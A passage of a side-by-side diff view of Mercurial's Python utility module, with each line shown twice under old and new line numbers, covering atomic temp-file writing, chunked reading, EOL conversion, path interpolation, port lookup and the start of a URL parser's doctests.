2419 # utime() on the file created by another user causes EPERM,
2430 # utime() on the file created by another user causes EPERM,
2420 # if a process doesn't have appropriate privileges
2431 # if a process doesn't have appropriate privileges
2421 return False
2432 return False
2422 raise
2433 raise
2423 return True
2434 return True
2424
2435
2425 def __ne__(self, other):
2436 def __ne__(self, other):
2426 return not self == other
2437 return not self == other
2427
2438
2428
2439
2429 class atomictempfile(object):
2440 class atomictempfile(object):
2430 '''writable file object that atomically updates a file
2441 '''writable file object that atomically updates a file
2431
2442
2432 All writes will go to a temporary copy of the original file. Call
2443 All writes will go to a temporary copy of the original file. Call
2433 close() when you are done writing, and atomictempfile will rename
2444 close() when you are done writing, and atomictempfile will rename
2434 the temporary copy to the original name, making the changes
2445 the temporary copy to the original name, making the changes
2435 visible. If the object is destroyed without being closed, all your
2446 visible. If the object is destroyed without being closed, all your
2436 writes are discarded.
2447 writes are discarded.
2437
2448
2438 checkambig argument of constructor is used with filestat, and is
2449 checkambig argument of constructor is used with filestat, and is
2439 useful only if target file is guarded by any lock (e.g. repo.lock
2450 useful only if target file is guarded by any lock (e.g. repo.lock
2440 or repo.wlock).
2451 or repo.wlock).
2441 '''
2452 '''
2442
2453
2443 def __init__(self, name, mode=b'w+b', createmode=None, checkambig=False):
2454 def __init__(self, name, mode=b'w+b', createmode=None, checkambig=False):
2444 self.__name = name # permanent name
2455 self.__name = name # permanent name
2445 self._tempname = mktempcopy(
2456 self._tempname = mktempcopy(
2446 name,
2457 name,
2447 emptyok=(b'w' in mode),
2458 emptyok=(b'w' in mode),
2448 createmode=createmode,
2459 createmode=createmode,
2449 enforcewritable=(b'w' in mode),
2460 enforcewritable=(b'w' in mode),
2450 )
2461 )
2451
2462
2452 self._fp = posixfile(self._tempname, mode)
2463 self._fp = posixfile(self._tempname, mode)
2453 self._checkambig = checkambig
2464 self._checkambig = checkambig
2454
2465
2455 # delegated methods
2466 # delegated methods
2456 self.read = self._fp.read
2467 self.read = self._fp.read
2457 self.write = self._fp.write
2468 self.write = self._fp.write
2458 self.seek = self._fp.seek
2469 self.seek = self._fp.seek
2459 self.tell = self._fp.tell
2470 self.tell = self._fp.tell
2460 self.fileno = self._fp.fileno
2471 self.fileno = self._fp.fileno
2461
2472
2462 def close(self):
2473 def close(self):
2463 if not self._fp.closed:
2474 if not self._fp.closed:
2464 self._fp.close()
2475 self._fp.close()
2465 filename = localpath(self.__name)
2476 filename = localpath(self.__name)
2466 oldstat = self._checkambig and filestat.frompath(filename)
2477 oldstat = self._checkambig and filestat.frompath(filename)
2467 if oldstat and oldstat.stat:
2478 if oldstat and oldstat.stat:
2468 rename(self._tempname, filename)
2479 rename(self._tempname, filename)
2469 newstat = filestat.frompath(filename)
2480 newstat = filestat.frompath(filename)
2470 if newstat.isambig(oldstat):
2481 if newstat.isambig(oldstat):
2471 # stat of changed file is ambiguous to original one
2482 # stat of changed file is ambiguous to original one
2472 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2483 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2473 os.utime(filename, (advanced, advanced))
2484 os.utime(filename, (advanced, advanced))
2474 else:
2485 else:
2475 rename(self._tempname, filename)
2486 rename(self._tempname, filename)
2476
2487
2477 def discard(self):
2488 def discard(self):
2478 if not self._fp.closed:
2489 if not self._fp.closed:
2479 try:
2490 try:
2480 os.unlink(self._tempname)
2491 os.unlink(self._tempname)
2481 except OSError:
2492 except OSError:
2482 pass
2493 pass
2483 self._fp.close()
2494 self._fp.close()
2484
2495
2485 def __del__(self):
2496 def __del__(self):
2486 if safehasattr(self, '_fp'): # constructor actually did something
2497 if safehasattr(self, '_fp'): # constructor actually did something
2487 self.discard()
2498 self.discard()
2488
2499
2489 def __enter__(self):
2500 def __enter__(self):
2490 return self
2501 return self
2491
2502
2492 def __exit__(self, exctype, excvalue, traceback):
2503 def __exit__(self, exctype, excvalue, traceback):
2493 if exctype is not None:
2504 if exctype is not None:
2494 self.discard()
2505 self.discard()
2495 else:
2506 else:
2496 self.close()
2507 self.close()
2497
2508
2498
2509
2499 def unlinkpath(f, ignoremissing=False, rmdir=True):
2510 def unlinkpath(f, ignoremissing=False, rmdir=True):
2500 """unlink and remove the directory if it is empty"""
2511 """unlink and remove the directory if it is empty"""
2501 if ignoremissing:
2512 if ignoremissing:
2502 tryunlink(f)
2513 tryunlink(f)
2503 else:
2514 else:
2504 unlink(f)
2515 unlink(f)
2505 if rmdir:
2516 if rmdir:
2506 # try removing directories that might now be empty
2517 # try removing directories that might now be empty
2507 try:
2518 try:
2508 removedirs(os.path.dirname(f))
2519 removedirs(os.path.dirname(f))
2509 except OSError:
2520 except OSError:
2510 pass
2521 pass
2511
2522
2512
2523
2513 def tryunlink(f):
2524 def tryunlink(f):
2514 """Attempt to remove a file, ignoring ENOENT errors."""
2525 """Attempt to remove a file, ignoring ENOENT errors."""
2515 try:
2526 try:
2516 unlink(f)
2527 unlink(f)
2517 except OSError as e:
2528 except OSError as e:
2518 if e.errno != errno.ENOENT:
2529 if e.errno != errno.ENOENT:
2519 raise
2530 raise
2520
2531
2521
2532
2522 def makedirs(name, mode=None, notindexed=False):
2533 def makedirs(name, mode=None, notindexed=False):
2523 """recursive directory creation with parent mode inheritance
2534 """recursive directory creation with parent mode inheritance
2524
2535
2525 Newly created directories are marked as "not to be indexed by
2536 Newly created directories are marked as "not to be indexed by
2526 the content indexing service", if ``notindexed`` is specified
2537 the content indexing service", if ``notindexed`` is specified
2527 for "write" mode access.
2538 for "write" mode access.
2528 """
2539 """
2529 try:
2540 try:
2530 makedir(name, notindexed)
2541 makedir(name, notindexed)
2531 except OSError as err:
2542 except OSError as err:
2532 if err.errno == errno.EEXIST:
2543 if err.errno == errno.EEXIST:
2533 return
2544 return
2534 if err.errno != errno.ENOENT or not name:
2545 if err.errno != errno.ENOENT or not name:
2535 raise
2546 raise
2536 parent = os.path.dirname(os.path.abspath(name))
2547 parent = os.path.dirname(os.path.abspath(name))
2537 if parent == name:
2548 if parent == name:
2538 raise
2549 raise
2539 makedirs(parent, mode, notindexed)
2550 makedirs(parent, mode, notindexed)
2540 try:
2551 try:
2541 makedir(name, notindexed)
2552 makedir(name, notindexed)
2542 except OSError as err:
2553 except OSError as err:
2543 # Catch EEXIST to handle races
2554 # Catch EEXIST to handle races
2544 if err.errno == errno.EEXIST:
2555 if err.errno == errno.EEXIST:
2545 return
2556 return
2546 raise
2557 raise
2547 if mode is not None:
2558 if mode is not None:
2548 os.chmod(name, mode)
2559 os.chmod(name, mode)
2549
2560
2550
2561
2551 def readfile(path):
2562 def readfile(path):
2552 with open(path, b'rb') as fp:
2563 with open(path, b'rb') as fp:
2553 return fp.read()
2564 return fp.read()
2554
2565
2555
2566
2556 def writefile(path, text):
2567 def writefile(path, text):
2557 with open(path, b'wb') as fp:
2568 with open(path, b'wb') as fp:
2558 fp.write(text)
2569 fp.write(text)
2559
2570
2560
2571
2561 def appendfile(path, text):
2572 def appendfile(path, text):
2562 with open(path, b'ab') as fp:
2573 with open(path, b'ab') as fp:
2563 fp.write(text)
2574 fp.write(text)
2564
2575
2565
2576
2566 class chunkbuffer(object):
2577 class chunkbuffer(object):
2567 """Allow arbitrary sized chunks of data to be efficiently read from an
2578 """Allow arbitrary sized chunks of data to be efficiently read from an
2568 iterator over chunks of arbitrary size."""
2579 iterator over chunks of arbitrary size."""
2569
2580
2570 def __init__(self, in_iter):
2581 def __init__(self, in_iter):
2571 """in_iter is the iterator that's iterating over the input chunks."""
2582 """in_iter is the iterator that's iterating over the input chunks."""
2572
2583
2573 def splitbig(chunks):
2584 def splitbig(chunks):
2574 for chunk in chunks:
2585 for chunk in chunks:
2575 if len(chunk) > 2 ** 20:
2586 if len(chunk) > 2 ** 20:
2576 pos = 0
2587 pos = 0
2577 while pos < len(chunk):
2588 while pos < len(chunk):
2578 end = pos + 2 ** 18
2589 end = pos + 2 ** 18
2579 yield chunk[pos:end]
2590 yield chunk[pos:end]
2580 pos = end
2591 pos = end
2581 else:
2592 else:
2582 yield chunk
2593 yield chunk
2583
2594
2584 self.iter = splitbig(in_iter)
2595 self.iter = splitbig(in_iter)
2585 self._queue = collections.deque()
2596 self._queue = collections.deque()
2586 self._chunkoffset = 0
2597 self._chunkoffset = 0
2587
2598
2588 def read(self, l=None):
2599 def read(self, l=None):
2589 """Read L bytes of data from the iterator of chunks of data.
2600 """Read L bytes of data from the iterator of chunks of data.
2590 Returns less than L bytes if the iterator runs dry.
2601 Returns less than L bytes if the iterator runs dry.
2591
2602
2592 If size parameter is omitted, read everything"""
2603 If size parameter is omitted, read everything"""
2593 if l is None:
2604 if l is None:
2594 return b''.join(self.iter)
2605 return b''.join(self.iter)
2595
2606
2596 left = l
2607 left = l
2597 buf = []
2608 buf = []
2598 queue = self._queue
2609 queue = self._queue
2599 while left > 0:
2610 while left > 0:
2600 # refill the queue
2611 # refill the queue
2601 if not queue:
2612 if not queue:
2602 target = 2 ** 18
2613 target = 2 ** 18
2603 for chunk in self.iter:
2614 for chunk in self.iter:
2604 queue.append(chunk)
2615 queue.append(chunk)
2605 target -= len(chunk)
2616 target -= len(chunk)
2606 if target <= 0:
2617 if target <= 0:
2607 break
2618 break
2608 if not queue:
2619 if not queue:
2609 break
2620 break
2610
2621
2611 # The easy way to do this would be to queue.popleft(), modify the
2622 # The easy way to do this would be to queue.popleft(), modify the
2612 # chunk (if necessary), then queue.appendleft(). However, for cases
2623 # chunk (if necessary), then queue.appendleft(). However, for cases
2613 # where we read partial chunk content, this incurs 2 dequeue
2624 # where we read partial chunk content, this incurs 2 dequeue
2614 # mutations and creates a new str for the remaining chunk in the
2625 # mutations and creates a new str for the remaining chunk in the
2615 # queue. Our code below avoids this overhead.
2626 # queue. Our code below avoids this overhead.
2616
2627
2617 chunk = queue[0]
2628 chunk = queue[0]
2618 chunkl = len(chunk)
2629 chunkl = len(chunk)
2619 offset = self._chunkoffset
2630 offset = self._chunkoffset
2620
2631
2621 # Use full chunk.
2632 # Use full chunk.
2622 if offset == 0 and left >= chunkl:
2633 if offset == 0 and left >= chunkl:
2623 left -= chunkl
2634 left -= chunkl
2624 queue.popleft()
2635 queue.popleft()
2625 buf.append(chunk)
2636 buf.append(chunk)
2626 # self._chunkoffset remains at 0.
2637 # self._chunkoffset remains at 0.
2627 continue
2638 continue
2628
2639
2629 chunkremaining = chunkl - offset
2640 chunkremaining = chunkl - offset
2630
2641
2631 # Use all of unconsumed part of chunk.
2642 # Use all of unconsumed part of chunk.
2632 if left >= chunkremaining:
2643 if left >= chunkremaining:
2633 left -= chunkremaining
2644 left -= chunkremaining
2634 queue.popleft()
2645 queue.popleft()
2635 # offset == 0 is enabled by block above, so this won't merely
2646 # offset == 0 is enabled by block above, so this won't merely
2636 # copy via ``chunk[0:]``.
2647 # copy via ``chunk[0:]``.
2637 buf.append(chunk[offset:])
2648 buf.append(chunk[offset:])
2638 self._chunkoffset = 0
2649 self._chunkoffset = 0
2639
2650
2640 # Partial chunk needed.
2651 # Partial chunk needed.
2641 else:
2652 else:
2642 buf.append(chunk[offset : offset + left])
2653 buf.append(chunk[offset : offset + left])
2643 self._chunkoffset += left
2654 self._chunkoffset += left
2644 left -= chunkremaining
2655 left -= chunkremaining
2645
2656
2646 return b''.join(buf)
2657 return b''.join(buf)
2647
2658
2648
2659
2649 def filechunkiter(f, size=131072, limit=None):
2660 def filechunkiter(f, size=131072, limit=None):
2650 """Create a generator that produces the data in the file size
2661 """Create a generator that produces the data in the file size
2651 (default 131072) bytes at a time, up to optional limit (default is
2662 (default 131072) bytes at a time, up to optional limit (default is
2652 to read all data). Chunks may be less than size bytes if the
2663 to read all data). Chunks may be less than size bytes if the
2653 chunk is the last chunk in the file, or the file is a socket or
2664 chunk is the last chunk in the file, or the file is a socket or
2654 some other type of file that sometimes reads less data than is
2665 some other type of file that sometimes reads less data than is
2655 requested."""
2666 requested."""
2656 assert size >= 0
2667 assert size >= 0
2657 assert limit is None or limit >= 0
2668 assert limit is None or limit >= 0
2658 while True:
2669 while True:
2659 if limit is None:
2670 if limit is None:
2660 nbytes = size
2671 nbytes = size
2661 else:
2672 else:
2662 nbytes = min(limit, size)
2673 nbytes = min(limit, size)
2663 s = nbytes and f.read(nbytes)
2674 s = nbytes and f.read(nbytes)
2664 if not s:
2675 if not s:
2665 break
2676 break
2666 if limit:
2677 if limit:
2667 limit -= len(s)
2678 limit -= len(s)
2668 yield s
2679 yield s
2669
2680
2670
2681
2671 class cappedreader(object):
2682 class cappedreader(object):
2672 """A file object proxy that allows reading up to N bytes.
2683 """A file object proxy that allows reading up to N bytes.
2673
2684
2674 Given a source file object, instances of this type allow reading up to
2685 Given a source file object, instances of this type allow reading up to
2675 N bytes from that source file object. Attempts to read past the allowed
2686 N bytes from that source file object. Attempts to read past the allowed
2676 limit are treated as EOF.
2687 limit are treated as EOF.
2677
2688
2678 It is assumed that I/O is not performed on the original file object
2689 It is assumed that I/O is not performed on the original file object
2679 in addition to I/O that is performed by this instance. If there is,
2690 in addition to I/O that is performed by this instance. If there is,
2680 state tracking will get out of sync and unexpected results will ensue.
2691 state tracking will get out of sync and unexpected results will ensue.
2681 """
2692 """
2682
2693
2683 def __init__(self, fh, limit):
2694 def __init__(self, fh, limit):
2684 """Allow reading up to <limit> bytes from <fh>."""
2695 """Allow reading up to <limit> bytes from <fh>."""
2685 self._fh = fh
2696 self._fh = fh
2686 self._left = limit
2697 self._left = limit
2687
2698
2688 def read(self, n=-1):
2699 def read(self, n=-1):
2689 if not self._left:
2700 if not self._left:
2690 return b''
2701 return b''
2691
2702
2692 if n < 0:
2703 if n < 0:
2693 n = self._left
2704 n = self._left
2694
2705
2695 data = self._fh.read(min(n, self._left))
2706 data = self._fh.read(min(n, self._left))
2696 self._left -= len(data)
2707 self._left -= len(data)
2697 assert self._left >= 0
2708 assert self._left >= 0
2698
2709
2699 return data
2710 return data
2700
2711
2701 def readinto(self, b):
2712 def readinto(self, b):
2702 res = self.read(len(b))
2713 res = self.read(len(b))
2703 if res is None:
2714 if res is None:
2704 return None
2715 return None
2705
2716
2706 b[0 : len(res)] = res
2717 b[0 : len(res)] = res
2707 return len(res)
2718 return len(res)
2708
2719
2709
2720
2710 def unitcountfn(*unittable):
2721 def unitcountfn(*unittable):
2711 '''return a function that renders a readable count of some quantity'''
2722 '''return a function that renders a readable count of some quantity'''
2712
2723
2713 def go(count):
2724 def go(count):
2714 for multiplier, divisor, format in unittable:
2725 for multiplier, divisor, format in unittable:
2715 if abs(count) >= divisor * multiplier:
2726 if abs(count) >= divisor * multiplier:
2716 return format % (count / float(divisor))
2727 return format % (count / float(divisor))
2717 return unittable[-1][2] % count
2728 return unittable[-1][2] % count
2718
2729
2719 return go
2730 return go
2720
2731
2721
2732
2722 def processlinerange(fromline, toline):
2733 def processlinerange(fromline, toline):
2723 """Check that linerange <fromline>:<toline> makes sense and return a
2734 """Check that linerange <fromline>:<toline> makes sense and return a
2724 0-based range.
2735 0-based range.
2725
2736
2726 >>> processlinerange(10, 20)
2737 >>> processlinerange(10, 20)
2727 (9, 20)
2738 (9, 20)
2728 >>> processlinerange(2, 1)
2739 >>> processlinerange(2, 1)
2729 Traceback (most recent call last):
2740 Traceback (most recent call last):
2730 ...
2741 ...
2731 ParseError: line range must be positive
2742 ParseError: line range must be positive
2732 >>> processlinerange(0, 5)
2743 >>> processlinerange(0, 5)
2733 Traceback (most recent call last):
2744 Traceback (most recent call last):
2734 ...
2745 ...
2735 ParseError: fromline must be strictly positive
2746 ParseError: fromline must be strictly positive
2736 """
2747 """
2737 if toline - fromline < 0:
2748 if toline - fromline < 0:
2738 raise error.ParseError(_(b"line range must be positive"))
2749 raise error.ParseError(_(b"line range must be positive"))
2739 if fromline < 1:
2750 if fromline < 1:
2740 raise error.ParseError(_(b"fromline must be strictly positive"))
2751 raise error.ParseError(_(b"fromline must be strictly positive"))
2741 return fromline - 1, toline
2752 return fromline - 1, toline
2742
2753
2743
2754
2744 bytecount = unitcountfn(
2755 bytecount = unitcountfn(
2745 (100, 1 << 30, _(b'%.0f GB')),
2756 (100, 1 << 30, _(b'%.0f GB')),
2746 (10, 1 << 30, _(b'%.1f GB')),
2757 (10, 1 << 30, _(b'%.1f GB')),
2747 (1, 1 << 30, _(b'%.2f GB')),
2758 (1, 1 << 30, _(b'%.2f GB')),
2748 (100, 1 << 20, _(b'%.0f MB')),
2759 (100, 1 << 20, _(b'%.0f MB')),
2749 (10, 1 << 20, _(b'%.1f MB')),
2760 (10, 1 << 20, _(b'%.1f MB')),
2750 (1, 1 << 20, _(b'%.2f MB')),
2761 (1, 1 << 20, _(b'%.2f MB')),
2751 (100, 1 << 10, _(b'%.0f KB')),
2762 (100, 1 << 10, _(b'%.0f KB')),
2752 (10, 1 << 10, _(b'%.1f KB')),
2763 (10, 1 << 10, _(b'%.1f KB')),
2753 (1, 1 << 10, _(b'%.2f KB')),
2764 (1, 1 << 10, _(b'%.2f KB')),
2754 (1, 1, _(b'%.0f bytes')),
2765 (1, 1, _(b'%.0f bytes')),
2755 )
2766 )
2756
2767
2757
2768
2758 class transformingwriter(object):
2769 class transformingwriter(object):
2759 """Writable file wrapper to transform data by function"""
2770 """Writable file wrapper to transform data by function"""
2760
2771
2761 def __init__(self, fp, encode):
2772 def __init__(self, fp, encode):
2762 self._fp = fp
2773 self._fp = fp
2763 self._encode = encode
2774 self._encode = encode
2764
2775
2765 def close(self):
2776 def close(self):
2766 self._fp.close()
2777 self._fp.close()
2767
2778
2768 def flush(self):
2779 def flush(self):
2769 self._fp.flush()
2780 self._fp.flush()
2770
2781
2771 def write(self, data):
2782 def write(self, data):
2772 return self._fp.write(self._encode(data))
2783 return self._fp.write(self._encode(data))
2773
2784
2774
2785
2775 # Matches a single EOL which can either be a CRLF where repeated CR
2786 # Matches a single EOL which can either be a CRLF where repeated CR
2776 # are removed or a LF. We do not care about old Macintosh files, so a
2787 # are removed or a LF. We do not care about old Macintosh files, so a
2777 # stray CR is an error.
2788 # stray CR is an error.
2778 _eolre = remod.compile(br'\r*\n')
2789 _eolre = remod.compile(br'\r*\n')
2779
2790
2780
2791
2781 def tolf(s):
2792 def tolf(s):
2782 return _eolre.sub(b'\n', s)
2793 return _eolre.sub(b'\n', s)
2783
2794
2784
2795
2785 def tocrlf(s):
2796 def tocrlf(s):
2786 return _eolre.sub(b'\r\n', s)
2797 return _eolre.sub(b'\r\n', s)
2787
2798
2788
2799
2789 def _crlfwriter(fp):
2800 def _crlfwriter(fp):
2790 return transformingwriter(fp, tocrlf)
2801 return transformingwriter(fp, tocrlf)
2791
2802
2792
2803
2793 if pycompat.oslinesep == b'\r\n':
2804 if pycompat.oslinesep == b'\r\n':
2794 tonativeeol = tocrlf
2805 tonativeeol = tocrlf
2795 fromnativeeol = tolf
2806 fromnativeeol = tolf
2796 nativeeolwriter = _crlfwriter
2807 nativeeolwriter = _crlfwriter
2797 else:
2808 else:
2798 tonativeeol = pycompat.identity
2809 tonativeeol = pycompat.identity
2799 fromnativeeol = pycompat.identity
2810 fromnativeeol = pycompat.identity
2800 nativeeolwriter = pycompat.identity
2811 nativeeolwriter = pycompat.identity
2801
2812
2802 if pyplatform.python_implementation() == b'CPython' and sys.version_info < (
2813 if pyplatform.python_implementation() == b'CPython' and sys.version_info < (
2803 3,
2814 3,
2804 0,
2815 0,
2805 ):
2816 ):
2806 # There is an issue in CPython that some IO methods do not handle EINTR
2817 # There is an issue in CPython that some IO methods do not handle EINTR
2807 # correctly. The following table shows what CPython version (and functions)
2818 # correctly. The following table shows what CPython version (and functions)
2808 # are affected (buggy: has the EINTR bug, okay: otherwise):
2819 # are affected (buggy: has the EINTR bug, okay: otherwise):
2809 #
2820 #
2810 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2821 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2811 # --------------------------------------------------
2822 # --------------------------------------------------
2812 # fp.__iter__ | buggy | buggy | okay
2823 # fp.__iter__ | buggy | buggy | okay
2813 # fp.read* | buggy | okay [1] | okay
2824 # fp.read* | buggy | okay [1] | okay
2814 #
2825 #
2815 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2826 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2816 #
2827 #
2817 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2828 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2818 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2829 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2819 #
2830 #
2820 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2831 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2821 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2832 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2822 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2833 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2823 # fp.__iter__ but not other fp.read* methods.
2834 # fp.__iter__ but not other fp.read* methods.
2824 #
2835 #
2825 # On modern systems like Linux, the "read" syscall cannot be interrupted
2836 # On modern systems like Linux, the "read" syscall cannot be interrupted
2826 # when reading "fast" files like on-disk files. So the EINTR issue only
2837 # when reading "fast" files like on-disk files. So the EINTR issue only
2827 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2838 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2828 # files approximately as "fast" files and use the fast (unsafe) code path,
2839 # files approximately as "fast" files and use the fast (unsafe) code path,
2829 # to minimize the performance impact.
2840 # to minimize the performance impact.
2830 if sys.version_info >= (2, 7, 4):
2841 if sys.version_info >= (2, 7, 4):
2831 # fp.readline deals with EINTR correctly, use it as a workaround.
2842 # fp.readline deals with EINTR correctly, use it as a workaround.
2832 def _safeiterfile(fp):
2843 def _safeiterfile(fp):
2833 return iter(fp.readline, b'')
2844 return iter(fp.readline, b'')
2834
2845
2835 else:
2846 else:
2836 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2847 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2837 # note: this may block longer than necessary because of bufsize.
2848 # note: this may block longer than necessary because of bufsize.
2838 def _safeiterfile(fp, bufsize=4096):
2849 def _safeiterfile(fp, bufsize=4096):
2839 fd = fp.fileno()
2850 fd = fp.fileno()
2840 line = b''
2851 line = b''
2841 while True:
2852 while True:
2842 try:
2853 try:
2843 buf = os.read(fd, bufsize)
2854 buf = os.read(fd, bufsize)
2844 except OSError as ex:
2855 except OSError as ex:
2845 # os.read only raises EINTR before any data is read
2856 # os.read only raises EINTR before any data is read
2846 if ex.errno == errno.EINTR:
2857 if ex.errno == errno.EINTR:
2847 continue
2858 continue
2848 else:
2859 else:
2849 raise
2860 raise
2850 line += buf
2861 line += buf
2851 if b'\n' in buf:
2862 if b'\n' in buf:
2852 splitted = line.splitlines(True)
2863 splitted = line.splitlines(True)
2853 line = b''
2864 line = b''
2854 for l in splitted:
2865 for l in splitted:
2855 if l[-1] == b'\n':
2866 if l[-1] == b'\n':
2856 yield l
2867 yield l
2857 else:
2868 else:
2858 line = l
2869 line = l
2859 if not buf:
2870 if not buf:
2860 break
2871 break
2861 if line:
2872 if line:
2862 yield line
2873 yield line
2863
2874
2864 def iterfile(fp):
2875 def iterfile(fp):
2865 fastpath = True
2876 fastpath = True
2866 if type(fp) is file:
2877 if type(fp) is file:
2867 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2878 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2868 if fastpath:
2879 if fastpath:
2869 return fp
2880 return fp
2870 else:
2881 else:
2871 return _safeiterfile(fp)
2882 return _safeiterfile(fp)
2872
2883
2873
2884
2874 else:
2885 else:
2875 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2886 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2876 def iterfile(fp):
2887 def iterfile(fp):
2877 return fp
2888 return fp
2878
2889
2879
2890
2880 def iterlines(iterator):
2891 def iterlines(iterator):
2881 for chunk in iterator:
2892 for chunk in iterator:
2882 for line in chunk.splitlines():
2893 for line in chunk.splitlines():
2883 yield line
2894 yield line
2884
2895
2885
2896
2886 def expandpath(path):
2897 def expandpath(path):
2887 return os.path.expanduser(os.path.expandvars(path))
2898 return os.path.expanduser(os.path.expandvars(path))
2888
2899
2889
2900
2890 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2901 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2891 """Return the result of interpolating items in the mapping into string s.
2902 """Return the result of interpolating items in the mapping into string s.
2892
2903
2893 prefix is a single character string, or a two character string with
2904 prefix is a single character string, or a two character string with
2894 a backslash as the first character if the prefix needs to be escaped in
2905 a backslash as the first character if the prefix needs to be escaped in
2895 a regular expression.
2906 a regular expression.
2896
2907
2897 fn is an optional function that will be applied to the replacement text
2908 fn is an optional function that will be applied to the replacement text
2898 just before replacement.
2909 just before replacement.
2899
2910
2900 escape_prefix is an optional flag that allows using doubled prefix for
2911 escape_prefix is an optional flag that allows using doubled prefix for
2901 its escaping.
2912 its escaping.
2902 """
2913 """
2903 fn = fn or (lambda s: s)
2914 fn = fn or (lambda s: s)
2904 patterns = b'|'.join(mapping.keys())
2915 patterns = b'|'.join(mapping.keys())
2905 if escape_prefix:
2916 if escape_prefix:
2906 patterns += b'|' + prefix
2917 patterns += b'|' + prefix
2907 if len(prefix) > 1:
2918 if len(prefix) > 1:
2908 prefix_char = prefix[1:]
2919 prefix_char = prefix[1:]
2909 else:
2920 else:
2910 prefix_char = prefix
2921 prefix_char = prefix
2911 mapping[prefix_char] = prefix_char
2922 mapping[prefix_char] = prefix_char
2912 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2923 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2913 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2924 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2914
2925
2915
2926
2916 def getport(port):
2927 def getport(port):
2917 """Return the port for a given network service.
2928 """Return the port for a given network service.
2918
2929
2919 If port is an integer, it's returned as is. If it's a string, it's
2930 If port is an integer, it's returned as is. If it's a string, it's
2920 looked up using socket.getservbyname(). If there's no matching
2931 looked up using socket.getservbyname(). If there's no matching
2921 service, error.Abort is raised.
2932 service, error.Abort is raised.
2922 """
2933 """
2923 try:
2934 try:
2924 return int(port)
2935 return int(port)
2925 except ValueError:
2936 except ValueError:
2926 pass
2937 pass
2927
2938
2928 try:
2939 try:
2929 return socket.getservbyname(pycompat.sysstr(port))
2940 return socket.getservbyname(pycompat.sysstr(port))
2930 except socket.error:
2941 except socket.error:
2931 raise error.Abort(
2942 raise error.Abort(
2932 _(b"no port number associated with service '%s'") % port
2943 _(b"no port number associated with service '%s'") % port
2933 )
2944 )
2934
2945
2935
2946
2936 class url(object):
2947 class url(object):
2937 r"""Reliable URL parser.
2948 r"""Reliable URL parser.
2938
2949
2939 This parses URLs and provides attributes for the following
2950 This parses URLs and provides attributes for the following
2940 components:
2951 components:
2941
2952
2942 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2953 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2943
2954
2944 Missing components are set to None. The only exception is
2955 Missing components are set to None. The only exception is
2945 fragment, which is set to '' if present but empty.
2956 fragment, which is set to '' if present but empty.
2946
2957
2947 If parsefragment is False, fragment is included in query. If
2958 If parsefragment is False, fragment is included in query. If
2948 parsequery is False, query is included in path. If both are
2959 parsequery is False, query is included in path. If both are
2949 False, both fragment and query are included in path.
2960 False, both fragment and query are included in path.
2950
2961
2951 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2962 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2952
2963
2953 Note that for backward compatibility reasons, bundle URLs do not
2964 Note that for backward compatibility reasons, bundle URLs do not
2954 take host names. That means 'bundle://../' has a path of '../'.
2965 take host names. That means 'bundle://../' has a path of '../'.
2955
2966
2956 Examples:
2967 Examples:
2957
2968
2958 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2969 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2959 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2970 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2960 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2971 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2961 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2972 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2962 >>> url(b'file:///home/joe/repo')
2973 >>> url(b'file:///home/joe/repo')
2963 <url scheme: 'file', path: '/home/joe/repo'>
2974 <url scheme: 'file', path: '/home/joe/repo'>
2964 >>> url(b'file:///c:/temp/foo/')
2975 >>> url(b'file:///c:/temp/foo/')
2965 <url scheme: 'file', path: 'c:/temp/foo/'>
2976 <url scheme: 'file', path: 'c:/temp/foo/'>
2966 >>> url(b'bundle:foo')
2977 >>> url(b'bundle:foo')
2967 <url scheme: 'bundle', path: 'foo'>
2978 <url scheme: 'bundle', path: 'foo'>
2968 >>> url(b'bundle://../foo')
2979 >>> url(b'bundle://../foo')
2969 <url scheme: 'bundle', path: '../foo'>
2980 <url scheme: 'bundle', path: '../foo'>
2970 >>> url(br'c:\foo\bar')
2981 >>> url(br'c:\foo\bar')
2971 <url path: 'c:\\foo\\bar'>
2982 <url path: 'c:\\foo\\bar'>
2972 >>> url(br'\\blah\blah\blah')
2983 >>> url(br'\\blah\blah\blah')
